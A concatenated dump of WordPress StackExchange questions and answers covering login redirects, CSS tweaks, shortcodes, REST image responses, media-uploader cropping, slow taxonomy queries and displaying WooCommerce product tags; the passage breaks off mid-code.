2017/10/02
[ "https://wordpress.stackexchange.com/questions/281661", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/126694/" ]
How to change home page to another page after login for all user roles, not a specific one?
By adding this to your theme **functions.php** file: ``` function login_redirect( $redirect_to, $request, $user ){ return home_url('/'); } add_filter( 'login_redirect', 'login_redirect', 10, 3 ); ```
281,666
<p><a href="https://peaceloveandbirth.com/" rel="nofollow noreferrer">https://peaceloveandbirth.com/</a><br> Underneath the 'Birth preparation for Mind, Body &amp; Soul' line at the top I want to remove the grey divider line (you can especially see it when the navbar is collapsed to say phone display).<br> I already have this is my CSS which works for below the header area, but not for this: </p> <pre><code>.site-header{ -webkit-box-shadow: none; -moz-box-shadow: none; -o-box-shadow: none; box-shadow: none; } </code></pre>
[ { "answer_id": 281668, "author": "Marcelo Henriques Cortez", "author_id": 44437, "author_profile": "https://wordpress.stackexchange.com/users/44437", "pm_score": 0, "selected": false, "text": "<p><strong>About your main question:</strong></p>\n\n<p>You are targeting the wrong div. You ne...
2017/10/02
[ "https://wordpress.stackexchange.com/questions/281666", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128242/" ]
<https://peaceloveandbirth.com/> Underneath the 'Birth preparation for Mind, Body & Soul' line at the top I want to remove the grey divider line (you can especially see it when the navbar is collapsed to say phone display). I already have this is my CSS which works for below the header area, but not for this: ``` .site-header{ -webkit-box-shadow: none; -moz-box-shadow: none; -o-box-shadow: none; box-shadow: none; } ```
You are looking at the wrong element, it is `#site-navigation` that has the box shadow (and a white background, which also is a problem), so the following worked for me ``` #site-navigation { box-shadow: none; background-color: #fdd4ce; } ``` A vendor prefix [should not be necessary](http://shouldiprefix.com/#box-shadow).
281,699
<p>I am trying to make a plugin that allows users to add a shortcode to their website. The problem that I am facing is that once the shortcode is placed in a page the shortcode is being run on both the page editor and on the front end, where I want it to only run on the front end. </p> <p><a href="https://i.stack.imgur.com/69YYm.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/69YYm.jpg" alt="Short Code Running In Editor"></a></p> <p>I followed <a href="https://www.sitepoint.com/wordpress-shortcodes-tutorial/" rel="nofollow noreferrer">this guide</a> on how to make a shortcode. I searched around a bit on the web and saw where someone suggested adding the function <code>ob_start();</code> but it did not seem to help. I have looked at other guides and no one seems to cover this issue. What am I doing wrong?</p> <p><strong>Code:</strong></p> <pre><code>add_shortcode('sss-redeem', 'Redeem'); function Redeem(){ ob_start(); $IsAdmin = is_super_admin(get_current_user_id()); ?&gt; &lt;form&gt; &lt;center&gt; &lt;?php if($IsAdmin){ ?&gt; &lt;input type="checkbox" name="overwrite" value="true"&gt;Overwrite?&lt;br&gt; &lt;?php } ?&gt; &lt;strong&gt;&lt;h2&gt;Order ID&lt;/h2&gt;&lt;/strong&gt; &lt;input type="text" maxlength="4" name="oid"/&gt;&lt;br&gt; &lt;input type="text" name="pgs" value="a5b6n66f34ka1n1d" style="display: none;" /&gt; &lt;button type="submit"&gt;Submit&lt;/button&gt; &lt;/form&gt; &lt;/center&gt; &lt;?php } </code></pre> <p><strong>NOTE:</strong> I am new to developing WordPress plugins. In fact, this plugin here is my first attempt at making a plugin. </p>
[ { "answer_id": 281702, "author": "Marcello B.", "author_id": 100883, "author_profile": "https://wordpress.stackexchange.com/users/100883", "pm_score": 2, "selected": false, "text": "<p>Thanks to @mmm I figured it out. What I am doing now is adding the form in between php tags. </p>\n\n<p...
2017/10/02
[ "https://wordpress.stackexchange.com/questions/281699", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/100883/" ]
I am trying to make a plugin that allows users to add a shortcode to their website. The problem that I am facing is that once the shortcode is placed in a page the shortcode is being run on both the page editor and on the front end, where I want it to only run on the front end. [![Short Code Running In Editor](https://i.stack.imgur.com/69YYm.jpg)](https://i.stack.imgur.com/69YYm.jpg) I followed [this guide](https://www.sitepoint.com/wordpress-shortcodes-tutorial/) on how to make a shortcode. I searched around a bit on the web and saw where someone suggested adding the function `ob_start();` but it did not seem to help. I have looked at other guides and no one seems to cover this issue. What am I doing wrong? **Code:** ``` add_shortcode('sss-redeem', 'Redeem'); function Redeem(){ ob_start(); $IsAdmin = is_super_admin(get_current_user_id()); ?> <form> <center> <?php if($IsAdmin){ ?> <input type="checkbox" name="overwrite" value="true">Overwrite?<br> <?php } ?> <strong><h2>Order ID</h2></strong> <input type="text" maxlength="4" name="oid"/><br> <input type="text" name="pgs" value="a5b6n66f34ka1n1d" style="display: none;" /> <button type="submit">Submit</button> </form> </center> <?php } ``` **NOTE:** I am new to developing WordPress plugins. In fact, this plugin here is my first attempt at making a plugin.
Thanks to @mmm I figured it out. What I am doing now is adding the form in between php tags. **EXAMPLE of what I was doing** ``` ?> <input type="checkbox" name="overwrite" value="true">Overwrite?<br> <?php ``` What I need to be doing is adding the content that I want to add to the page into a string that is then returned when the function is completed. So what I would want my code to look like is **EXAMPLE of what I should have been doing** ``` <?php $out = '<input type="checkbox" name="overwrite" value="true">Overwrite?<br>'; return $out; ?> ```
281,727
<p>I'm brand new to Wordpress development; Trying to return an image from a custom endpoint, but it seems to want to serialize everything to JSON.</p> <p>I did manage to get it to work using <code>echo</code>. Is that a hack?</p> <p>I also tried using <code>WP_HTTP_Response</code>, but that didn't seem to work.</p> <p>My code:</p> <pre><code>require 'vendor/autoload.php'; use Intervention\Image\ImageManagerStatic as Image; function prefix_generate_cover_photo($data) { $image = Image::make(plugin_dir_path(__FILE__) . 'image.png')-&gt;response(); $response = new WP_REST_Response($image, 200, array( 'Content-Type' =&gt; 'image/png' )); return $response; } add_action( 'rest_api_init', function () { register_rest_route( 'prefix/v1', '/photo', array( 'methods' =&gt; 'GET', 'callback' =&gt; 'prefix_generate_cover_photo', )); }); </code></pre> <p>This works but I'm not sure if it's good practice:</p> <pre><code>function prefix_generate_cover_photo($data) { echo Image::make(plugin_dir_path(__FILE__) . 'image.png')-&gt;response(); } </code></pre> <p>Any ideas?</p>
[ { "answer_id": 281736, "author": "Mostafa Soufi", "author_id": 106877, "author_profile": "https://wordpress.stackexchange.com/users/106877", "pm_score": 0, "selected": false, "text": "<p><code>echo</code> in the rest-api and not valid! You should using <code>return</code> to make output ...
2017/10/03
[ "https://wordpress.stackexchange.com/questions/281727", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128922/" ]
I'm brand new to Wordpress development; Trying to return an image from a custom endpoint, but it seems to want to serialize everything to JSON. I did manage to get it to work using `echo`. Is that a hack? I also tried using `WP_HTTP_Response`, but that didn't seem to work. My code: ``` require 'vendor/autoload.php'; use Intervention\Image\ImageManagerStatic as Image; function prefix_generate_cover_photo($data) { $image = Image::make(plugin_dir_path(__FILE__) . 'image.png')->response(); $response = new WP_REST_Response($image, 200, array( 'Content-Type' => 'image/png' )); return $response; } add_action( 'rest_api_init', function () { register_rest_route( 'prefix/v1', '/photo', array( 'methods' => 'GET', 'callback' => 'prefix_generate_cover_photo', )); }); ``` This works but I'm not sure if it's good practice: ``` function prefix_generate_cover_photo($data) { echo Image::make(plugin_dir_path(__FILE__) . 'image.png')->response(); } ``` Any ideas?
You might want to have a look at this question <https://stackoverflow.com/a/70008574/2342137> > > By default, all REST responses are passed through json\_encode() to return a JSON string. However, the REST server provides the WP hook [rest\_pre\_serve\_request](https://developer.wordpress.org/reference/hooks/rest_pre_serve_request/) that we can use to return binary data instead. > > >
281,746
<p>i'd like to show the CPT description on the archive.php page but it'd like to do it dynamically for all CPT's. I mean without specifying the current type myself. Something like the_archive_description but for CPT.</p>
[ { "answer_id": 281759, "author": "Kuliraj", "author_id": 128600, "author_profile": "https://wordpress.stackexchange.com/users/128600", "pm_score": 1, "selected": false, "text": "<pre><code>function get_the_post_type_description() {\n $post_type = get_query_var( 'post_type' );\n\n i...
2017/10/03
[ "https://wordpress.stackexchange.com/questions/281746", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/77283/" ]
i'd like to show the CPT description on the archive.php page but it'd like to do it dynamically for all CPT's. I mean without specifying the current type myself. Something like the\_archive\_description but for CPT.
Since 4.9. ``` if ( get_the_post_type_description()) { echo get_the_post_type_description(); } ``` redeclaring the function will crash WordPress.
281,760
<p>I've followed <a href="https://dobsondev.com/2015/01/23/using-the-wordpress-media-uploader/" rel="nofollow noreferrer">this article</a> to use Media Uploader in my code. When I click the Browse button on my form, the media uploader opens and after selecting the image, I get the URL of that image added in my form field. No issues so far.</p> <p>But I want to enforce the image to be of a specific size. If the size is different, user must crop it to match the required size (or aspect ratio) <strong>before</strong> he can select the image (and my <code>mediaUploader.on('select', function() {</code> is executed).</p> <p>Please note that I don't want to use <code>add_image_size</code> because that will create a thumbnail of the given size for each and every image uploaded (AFAIK... correct me if I'm wrong). Instead, only in a specific scenario I want the user to crop the image manually while uploading.</p> <p>Basically my requirement is well described in a question on SO: <a href="https://stackoverflow.com/questions/36230319/wordpress-media-library-crop-image-on-insert-like-header-image-cropper">wordpress-media-library-crop-image-on-insert-like-header-image-cropper</a></p> <p>But there is no solution posted there. So I'm putting it here for the WP experts to guide me.</p> <p>I've tried searching for 'wordpress media uploader (enforce image size | image cropper | select image of specific size)' and what not. But somehow not getting any link that describes the steps to enforce a given image size. Nor could I found any documentation for <code>wp.media</code> that describes all the options that can be passed.</p> <p>I've seen following questions already but that doesn't seem to do what I'm looking for:</p> <ul> <li><a href="https://wordpress.stackexchange.com/questions/211909/is-is-possible-to-crop-an-image-after-uploading">Is is possible to crop an image after uploading</a></li> <li><a href="https://wordpress.stackexchange.com/questions/88945/way-to-force-media-uploader-use-custom-image-size">Way to force media uploader use custom image size</a></li> <li><a href="https://wordpress.stackexchange.com/questions/88757/image-size-filtering-in-media-uploader-according-to-custom-post-type">Image size filtering in Media uploader according to custom post type</a></li> </ul> <p><strong>Edit</strong></p> <p>I could find the use of <code>WP_Customize_Cropped_Image_Control</code> @ <a href="https://www.sitepoint.com/using-the-wordpress-customizer-media-controls/" rel="nofollow noreferrer">https://www.sitepoint.com/using-the-wordpress-customizer-media-controls/</a> But its in the context of Customizer. Is there any similar control that can be used in standard plugin?</p> <p>And there is this <code>wp.media.controller.Cropper</code> defined inside <em>wp-includes/js/media-views.js</em> but how do I use it?</p>
[ { "answer_id": 302962, "author": "Darren", "author_id": 143188, "author_profile": "https://wordpress.stackexchange.com/users/143188", "pm_score": 2, "selected": false, "text": "<p>It looks like the select and crop functionality is currently only used in the WordPress Customizer. </p>\n\n...
2017/10/03
[ "https://wordpress.stackexchange.com/questions/281760", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119672/" ]
I've followed [this article](https://dobsondev.com/2015/01/23/using-the-wordpress-media-uploader/) to use Media Uploader in my code. When I click the Browse button on my form, the media uploader opens and after selecting the image, I get the URL of that image added in my form field. No issues so far. But I want to enforce the image to be of a specific size. If the size is different, user must crop it to match the required size (or aspect ratio) **before** he can select the image (and my `mediaUploader.on('select', function() {` is executed). Please note that I don't want to use `add_image_size` because that will create a thumbnail of the given size for each and every image uploaded (AFAIK... correct me if I'm wrong). Instead, only in a specific scenario I want the user to crop the image manually while uploading. Basically my requirement is well described in a question on SO: [wordpress-media-library-crop-image-on-insert-like-header-image-cropper](https://stackoverflow.com/questions/36230319/wordpress-media-library-crop-image-on-insert-like-header-image-cropper) But there is no solution posted there. So I'm putting it here for the WP experts to guide me. I've tried searching for 'wordpress media uploader (enforce image size | image cropper | select image of specific size)' and what not. But somehow not getting any link that describes the steps to enforce a given image size. Nor could I found any documentation for `wp.media` that describes all the options that can be passed. I've seen following questions already but that doesn't seem to do what I'm looking for: * [Is is possible to crop an image after uploading](https://wordpress.stackexchange.com/questions/211909/is-is-possible-to-crop-an-image-after-uploading) * [Way to force media uploader use custom image size](https://wordpress.stackexchange.com/questions/88945/way-to-force-media-uploader-use-custom-image-size) * [Image size filtering in Media uploader according to custom post type](https://wordpress.stackexchange.com/questions/88757/image-size-filtering-in-media-uploader-according-to-custom-post-type) **Edit** I could find the use of `WP_Customize_Cropped_Image_Control` @ <https://www.sitepoint.com/using-the-wordpress-customizer-media-controls/> But its in the context of Customizer. Is there any similar control that can be used in standard plugin? And there is this `wp.media.controller.Cropper` defined inside *wp-includes/js/media-views.js* but how do I use it?
First use the code given by @Darren on any page. For simplicity I've combined PHP and JS code in single block: ``` <?php $heading_picture = esc_attr(get_option( 'heading_picture' )); ?> <input type="hidden" name="heading_picture" id="heading_picture" value="<?php echo $heading_picture; ?>" /> <img id="heading_picture_preview" class="heading-picture" src="<?php echo $heading_picture; ?>" /> <button id="btn_heading_picture" name="btn_heading_picture" class="button default">Choose Picture</button> <script> jQuery(function($) { function myTheme_calculateImageSelectOptions(attachment, controller) { var control = controller.get( 'control' ); var flexWidth = !! parseInt( control.params.flex_width, 10 ); var flexHeight = !! parseInt( control.params.flex_height, 10 ); var realWidth = attachment.get( 'width' ); var realHeight = attachment.get( 'height' ); var xInit = parseInt(control.params.width, 10); var yInit = parseInt(control.params.height, 10); var ratio = xInit / yInit; controller.set( 'canSkipCrop', ! control.mustBeCropped( flexWidth, flexHeight, xInit, yInit, realWidth, realHeight ) ); var xImg = xInit; var yImg = yInit; if ( realWidth / realHeight > ratio ) { yInit = realHeight; xInit = yInit * ratio; } else { xInit = realWidth; yInit = xInit / ratio; } var x1 = ( realWidth - xInit ) / 2; var y1 = ( realHeight - yInit ) / 2; var imgSelectOptions = { handles: true, keys: true, instance: true, persistent: true, imageWidth: realWidth, imageHeight: realHeight, minWidth: xImg > xInit ? xInit : xImg, minHeight: yImg > yInit ? yInit : yImg, x1: x1, y1: y1, x2: xInit + x1, y2: yInit + y1 }; return imgSelectOptions; } function myTheme_setImageFromURL(url, attachmentId, width, height) { var choice, data = {}; data.url = url; data.thumbnail_url = url; data.timestamp = _.now(); if (attachmentId) { data.attachment_id = attachmentId; } if (width) { data.width = width; } if (height) { data.height = height; } $("#heading_picture").val( url ); $("#heading_picture_preview").prop("src", url); } function myTheme_setImageFromAttachment(attachment) { $("#heading_picture").val( attachment.url ); $("#heading_picture_preview").prop("src", attachment.url); } var mediaUploader; $("#btn_heading_picture").on("click", function(e) { e.preventDefault(); /* We need to setup a Crop control that contains a few parameters and a method to indicate if the CropController can skip cropping the image. In this example I am just creating a control on the fly with the expected properties. However, the controls used by WordPress Admin are api.CroppedImageControl and api.SiteIconControl */ var cropControl = { id: "control-id", params : { flex_width : false, // set to true if the width of the cropped image can be different to the width defined here flex_height : true, // set to true if the height of the cropped image can be different to the height defined here width : 300, // set the desired width of the destination image here height : 200, // set the desired height of the destination image here } }; cropControl.mustBeCropped = function(flexW, flexH, dstW, dstH, imgW, imgH) { // If the width and height are both flexible // then the user does not need to crop the image. if ( true === flexW && true === flexH ) { return false; } // If the width is flexible and the cropped image height matches the current image height, // then the user does not need to crop the image. if ( true === flexW && dstH === imgH ) { return false; } // If the height is flexible and the cropped image width matches the current image width, // then the user does not need to crop the image. if ( true === flexH && dstW === imgW ) { return false; } // If the cropped image width matches the current image width, // and the cropped image height matches the current image height // then the user does not need to crop the image. if ( dstW === imgW && dstH === imgH ) { return false; } // If the destination width is equal to or greater than the cropped image width // then the user does not need to crop the image... if ( imgW <= dstW ) { return false; } return true; }; /* NOTE: Need to set this up every time instead of reusing if already there as the toolbar button does not get reset when doing the following: mediaUploader.setState('library'); mediaUploader.open(); */ mediaUploader = wp.media({ button: { text: 'Select and Crop', // l10n.selectAndCrop, close: false }, states: [ new wp.media.controller.Library({ title: 'Select and Crop', // l10n.chooseImage, library: wp.media.query({ type: 'image' }), multiple: false, date: false, priority: 20, suggestedWidth: 300, suggestedHeight: 200 }), new wp.media.controller.CustomizeImageCropper({ imgSelectOptions: myTheme_calculateImageSelectOptions, control: cropControl }) ] }); mediaUploader.on('cropped', function(croppedImage) { var url = croppedImage.url, attachmentId = croppedImage.attachment_id, w = croppedImage.width, h = croppedImage.height; myTheme_setImageFromURL(url, attachmentId, w, h); }); mediaUploader.on('skippedcrop', function(selection) { var url = selection.get('url'), w = selection.get('width'), h = selection.get('height'); myTheme_setImageFromURL(url, selection.id, w, h); }); mediaUploader.on("select", function() { var attachment = mediaUploader.state().get( 'selection' ).first().toJSON(); if ( cropControl.params.width === attachment.width && cropControl.params.height === attachment.height && ! cropControl.params.flex_width && ! cropControl.params.flex_height ) { myTheme_setImageFromAttachment( attachment ); mediaUploader.close(); } else { mediaUploader.setState( 'cropper' ); } }); mediaUploader.open(); }); }); </script> ``` Then in some **plugin** use following code: ``` add_action( 'wp_enqueue_scripts', 'vna_wp_enqueue_scripts' ); function vna_wp_enqueue_scripts() { wp_enqueue_media(); wp_enqueue_script( 'imgareaselect', get_bloginfo('url') . '/wp-includes/js/imgareaselect/jquery.imgareaselect.js', array( 'jquery' ), '1', true ); wp_enqueue_style( 'imgareaselect', get_bloginfo('url') . '/wp-includes/js/imgareaselect/imgareaselect.css', array(), '0.9.8' ); } add_action( 'setup_theme','vna_wp_ajax_crop_image', 1 ); function vna_wp_ajax_crop_image() { global $wp_customize; if(isset($_REQUEST['action']) && $_REQUEST['action'] == 'crop-image') { $post = new WP_Post(new stdClass()); $post->ID = $_REQUEST['id']; $post->post_type = 'customize_changeset'; $post->filter = 'raw'; wp_cache_set($wp_customize->changeset_uuid(), $post, 'customize_changeset_post'); } } ``` **Notes:** 1. There is lot of dependency on admin JS files. Earlier I was trying to add these files one after other based on the JS errors I was getting during testing. Then I found `wp_enqueue_media()` which does most of the work. It still doesn't load `imgareaselect` JS and CSS, so we have to load them explicitly. 2. The above code must be in a **plugin**. I was trying the code in a theme and it was not working because the `setup_theme` action in theme gets called after the expected event (explained below). To avoid it I had to put it in plugin. 3. Cropping functionality works only when a user is logged in and has **edit\_post** permission on the image. If not, you will get `0` as the response from `admin-ajax.php` when the action is `crop-image`. 4. *The hacky way*: Execute the above code on `setup_theme` action with priority set to `1`. This is because `class WP_Customize_Manager` has a `setup_theme` method that gets executed and checks for the presence of a post id / post which is of type `customize_changeset`. Also the post filter needs to be `raw` otherwise it tries to load the post from DB for the given post ID (in this case we are setting the image id as the post ID) which results in post type getting set to `attachment`. If the check fails (it doesn't find a post for given ID that is of type `customize_changeset`) then you get `-1` as the response from `admin-ajax.php` when the action is `crop-image`. Instead of creating a valid changeset post in DB, I just created a dummy post object and added it to cache. The code doesn't look much but as I mentioned earlier in [my comment](https://wordpress.stackexchange.com/questions/281760/using-media-uploader-to-select-image-of-specific-size-enforce-cropper/302962?noredirect=1#comment461459_302962) it was really a pain to find out all these conditions. I'm glad I managed it afterall.
281,761
<p>I want to disable the 'Add to cart' button when product is out of stock with PHP code or a WooCommerce admin setting.</p>
[ { "answer_id": 281763, "author": "Sunil Dora", "author_id": 128944, "author_profile": "https://wordpress.stackexchange.com/users/128944", "pm_score": 2, "selected": false, "text": "<p>Here are some plugins which provide the facilities to hide \"Add To Cart\" buttons from the shop and sin...
2017/10/03
[ "https://wordpress.stackexchange.com/questions/281761", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128942/" ]
I want to disable the 'Add to cart' button when product is out of stock with PHP code or a WooCommerce admin setting.
Here are some plugins which provide the facilities to hide "Add To Cart" buttons from the shop and single product page in woocommerce, [ <https://wordpress.org/plugins/hide-add-to-cart-button/>) ] [ <https://wordpress.org/plugins/remove-add-to-cart-woocommerce/> ] These plugins will do, 1) Hide Add to Cart button from product single page. 2) Hide Add to Cart button from category page. 3) Hide Add to Cart button from homepage and all other pages. Also you can hide it via adding the below function in functions.php, ``` /* * Override via functions.php **/ if (!function_exists('woocommerce_template_loop_add_to_cart')) { function woocommerce_template_loop_add_to_cart() { global $product; if ( ! $product->is_in_stock() || ! $product->is_purchasable() ) return; woocommerce_get_template('loop/add-to-cart.php'); } } ```
281,775
<p>I'm looking for a solution to dynamically create different templates for each category level.</p> <p>Category</p> <p>--Category</p> <p>---Category</p> <p>----Category</p> <p>I thought of something to get the taxonomy current level ID, to use a function like below, but I did not find a solution.</p> <p>I have not found anything that returns me level or a unique ID for each level in a taxonomy</p> <pre><code>$term = get_term_by( 'slug', get_query_var('term'), get_query_var('taxonomy') ); echo $term-&gt;cat_level_id; switch ($current_level_id) { case 'level_1': get_template_part( 'taxonomy-content-level_1',); break; case 'level_2': get_template_part( 'taxonomy-content-level_2',); break; case 'level_3': get_template_part( 'taxonomy-content-level_3',); break; case 'level_4': get_template_part( 'taxonomy-content-level_4' ); break; } </code></pre> <p>I know that wordpress understands taxonomy-custom-slug.php, but it's not something I can use because it's not feasible to create templates since there are many categories / sub.</p> <p>Thanks in advance for your attention.</p>
[ { "answer_id": 281763, "author": "Sunil Dora", "author_id": 128944, "author_profile": "https://wordpress.stackexchange.com/users/128944", "pm_score": 2, "selected": false, "text": "<p>Here are some plugins which provide the facilities to hide \"Add To Cart\" buttons from the shop and sin...
2017/10/03
[ "https://wordpress.stackexchange.com/questions/281775", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128952/" ]
I'm looking for a solution to dynamically create different templates for each category level. Category --Category ---Category ----Category I thought of something to get the taxonomy current level ID, to use a function like below, but I did not find a solution. I have not found anything that returns me level or a unique ID for each level in a taxonomy ``` $term = get_term_by( 'slug', get_query_var('term'), get_query_var('taxonomy') ); echo $term->cat_level_id; switch ($current_level_id) { case 'level_1': get_template_part( 'taxonomy-content-level_1',); break; case 'level_2': get_template_part( 'taxonomy-content-level_2',); break; case 'level_3': get_template_part( 'taxonomy-content-level_3',); break; case 'level_4': get_template_part( 'taxonomy-content-level_4' ); break; } ``` I know that wordpress understands taxonomy-custom-slug.php, but it's not something I can use because it's not feasible to create templates since there are many categories / sub. Thanks in advance for your attention.
Here are some plugins which provide the facilities to hide "Add To Cart" buttons from the shop and single product page in woocommerce, [ <https://wordpress.org/plugins/hide-add-to-cart-button/>) ] [ <https://wordpress.org/plugins/remove-add-to-cart-woocommerce/> ] These plugins will do, 1) Hide Add to Cart button from product single page. 2) Hide Add to Cart button from category page. 3) Hide Add to Cart button from homepage and all other pages. Also you can hide it via adding the below function in functions.php, ``` /* * Override via functions.php **/ if (!function_exists('woocommerce_template_loop_add_to_cart')) { function woocommerce_template_loop_add_to_cart() { global $product; if ( ! $product->is_in_stock() || ! $product->is_purchasable() ) return; woocommerce_get_template('loop/add-to-cart.php'); } } ```
281,778
<p>Since 2017-09-26 I have terrible problems with performance on my website.</p> <p>Loading single post or any other page takes even 20s. I've been debugging it it found out, that the problems are DB queries.</p> <p>For example this one is executing almost with every page load and takes about 36s:</p> <pre><code>SELECT t.*, tt.*, tr.object_id FROM az2_terms AS t INNER JOIN az2_term_taxonomy AS tt ON t.term_id = tt.term_id INNER JOIN az2_term_relationships AS tr ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN ('znacka', 'model') AND tr.object_id IN (27130, 27290, 27822, 27899, 30862, 33536, 33721, 34901, 37448, 37482, 37496, 37522, 37572, 37580, 37742, 37750, 38160, 38165) ORDER BY t.name ASC </code></pre> <p>When it's executing for the second time, it's lamost instant. Since the 2017-09-26 I haven(t made any changes, only switched to HTTPS, could that be the problem?</p>
[ { "answer_id": 281763, "author": "Sunil Dora", "author_id": 128944, "author_profile": "https://wordpress.stackexchange.com/users/128944", "pm_score": 2, "selected": false, "text": "<p>Here are some plugins which provide the facilities to hide \"Add To Cart\" buttons from the shop and sin...
2017/10/03
[ "https://wordpress.stackexchange.com/questions/281778", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128953/" ]
Since 2017-09-26 I have terrible problems with performance on my website. Loading single post or any other page takes even 20s. I've been debugging it it found out, that the problems are DB queries. For example this one is executing almost with every page load and takes about 36s: ``` SELECT t.*, tt.*, tr.object_id FROM az2_terms AS t INNER JOIN az2_term_taxonomy AS tt ON t.term_id = tt.term_id INNER JOIN az2_term_relationships AS tr ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN ('znacka', 'model') AND tr.object_id IN (27130, 27290, 27822, 27899, 30862, 33536, 33721, 34901, 37448, 37482, 37496, 37522, 37572, 37580, 37742, 37750, 38160, 38165) ORDER BY t.name ASC ``` When it's executing for the second time, it's lamost instant. Since the 2017-09-26 I haven(t made any changes, only switched to HTTPS, could that be the problem?
Here are some plugins which provide the facilities to hide "Add To Cart" buttons from the shop and single product page in woocommerce, [ <https://wordpress.org/plugins/hide-add-to-cart-button/>) ] [ <https://wordpress.org/plugins/remove-add-to-cart-woocommerce/> ] These plugins will do, 1) Hide Add to Cart button from product single page. 2) Hide Add to Cart button from category page. 3) Hide Add to Cart button from homepage and all other pages. Also you can hide it via adding the below function in functions.php, ``` /* * Override via functions.php **/ if (!function_exists('woocommerce_template_loop_add_to_cart')) { function woocommerce_template_loop_add_to_cart() { global $product; if ( ! $product->is_in_stock() || ! $product->is_purchasable() ) return; woocommerce_get_template('loop/add-to-cart.php'); } } ```
281,779
<p>I am using Theme My Login plugin to change the login page from "/wp-login.php" to "/login".</p> <p>My question is how do I redirect a user that has already logged in so that visiting "/login" instead takes them to my homepage?</p> <p>Note: I am not talking about the initial redirect after logging in, but rather if someone was to visit the login page again afterwards.</p> <p>I saw a similar question was asked here: <a href="https://wordpress.stackexchange.com/q/270379">wp-login.php — redirect logged in users to custom URL</a></p> <p>I tried using the code posted there, and changed it to:</p> <pre><code>function redirect_logged_in_user() { if( is_user_logged_in ) { wp_redirect('http://my_homepage_url'); } } global $pagenow; if( $pagenow == '/login') redirect_logged_in_user(); </code></pre> <p>but it still does not work.</p> <p>any help would be much appreciated.</p> <p>cheers.</p>
[ { "answer_id": 281780, "author": "Temani Afif", "author_id": 128913, "author_profile": "https://wordpress.stackexchange.com/users/128913", "pm_score": 1, "selected": false, "text": "<p>I advice you to try this, better to the action <strong>login_init</strong>:</p>\n\n<pre><code>add_actio...
2017/10/03
[ "https://wordpress.stackexchange.com/questions/281779", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128955/" ]
I am using Theme My Login plugin to change the login page from "/wp-login.php" to "/login". My question is how do I redirect a user that has already logged in so that visiting "/login" instead takes them to my homepage? Note: I am not talking about the initial redirect after logging in, but rather if someone was to visit the login page again afterwards. I saw a similar question was asked here: [wp-login.php — redirect logged in users to custom URL](https://wordpress.stackexchange.com/q/270379) I tried using the code posted there, and changed it to: ``` function redirect_logged_in_user() { if( is_user_logged_in ) { wp_redirect('http://my_homepage_url'); } } global $pagenow; if( $pagenow == '/login') redirect_logged_in_user(); ``` but it still does not work. any help would be much appreciated. cheers.
I advice you to try this, better to the action **login\_init**: ``` add_action('login_init', 'redirect_logged_in_user'); function redirect_logged_in_user() { global $action; /* if the user call logout and is not logged in we do nothing*/ if ('logout' === $action || !is_user_logged_in()) { return; } /* we redirect logged in people*/ wp_redirect('http://my_homepage_url'); exit; } ```
281,861
<p>I am trying to display WooCommerce product tags on the home page and category pages. Along with the product title the theme should display any tags in alphabetical order, separated by a “·”.</p> <p>For example: Tag 1 · Tag 2 · Tag 3</p> <p>This is what I have at the moment:</p> <pre><code>&lt;?php echo get_the_tag_list('&lt;span class="woocommerce-display-tag"&gt;Tags: ',' · ','&lt;/span&gt;');?&gt; </code></pre> <p>The output is blank.</p> <p>How can I get this to work?</p>
[ { "answer_id": 281866, "author": "LWS-Mo", "author_id": 88895, "author_profile": "https://wordpress.stackexchange.com/users/88895", "pm_score": 1, "selected": true, "text": "<p>I think <code>get_the_tag_list</code> is only used for the default WordPress tags. WooCommerce product tags are...
2017/10/04
[ "https://wordpress.stackexchange.com/questions/281861", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/97267/" ]
I am trying to display WooCommerce product tags on the home page and category pages. Along with the product title the theme should display any tags in alphabetical order, separated by a “·”. For example: Tag 1 · Tag 2 · Tag 3 This is what I have at the moment: ``` <?php echo get_the_tag_list('<span class="woocommerce-display-tag">Tags: ',' · ','</span>');?> ``` The output is blank. How can I get this to work?
I think `get_the_tag_list` is only used for the default WordPress tags. WooCommerce product tags are a custom taxonomy called `product_tag`. Therefore you cannot use this function to return these tags. (anyone please correct me if I am wrong here) Instead you could use the WordPress `get_the_terms()` function, to get a "similar" result. Bare bones: ``` // get product_tags of the current product $current_tags = get_the_terms( get_the_ID(), 'product_tag' ); //only start if we have some tags if ( $current_tags && ! is_wp_error( $current_tags ) ) { //create a list to hold our tags echo '<ul class="product_tags">'; //for each tag we create a list item foreach ($current_tags as $tag) { $tag_title = $tag->name; // tag name $tag_link = get_term_link( $tag );// tag archive link echo '<li><a href="'.$tag_link.'">'.$tag_title.'</a></li>'; } echo '</ul>'; } ``` If you want to use a special separator and stuff, you will need to fiddle around. --- **Update for separators:** You have some options for how you want to remove the last separator, or dealing with separators in general here. The first method is using **CSS only**. For this we first wrap every `$tag_title` in an HTML element (here a `<span>`). We do this so that we can target every title. ``` //for each tag we create a list item foreach ($current_tags as $tag) { $tag_title = $tag->name; // tag name echo '<span>'.$tag_title.'</span>'; } ``` Than we just add 2 new CSS styles (used your markup): ``` /* add " · " after each span item inside .woocommerce-Price-amount */ .woocommerce-Price-amount span:after { content: " · "; } /* set content to nothing/remove " · " on the last span element */ .woocommerce-Price-amount span:last-child:after { content: ""; } ``` --- You can also add a separator **via PHP**. For this, we first need to get a new array of all *keys* of our `$current_tags` array. Then we look for the *last found key* in this new array. After this we use a `foreach loop` and in that *we compare the current key with the last found key*. If these two are the same, we know that we have the last item. Change your `if` function: ``` //only start if we have some tags if ( $current_tags && ! is_wp_error( $current_tags ) ) { //create a list to hold our tags echo '<span class="woocommerce-Price-amount amount">'; // get all keys from the $current_tags array $get_keys = array_keys($current_tags); // get the last key from our keys $last_key = array_pop($get_keys); //for each tag we create a list item foreach ($current_tags as $key => $value) { $tag_title = $value->name; // tag name if($key == $last_key) { echo $tag_title; } else { 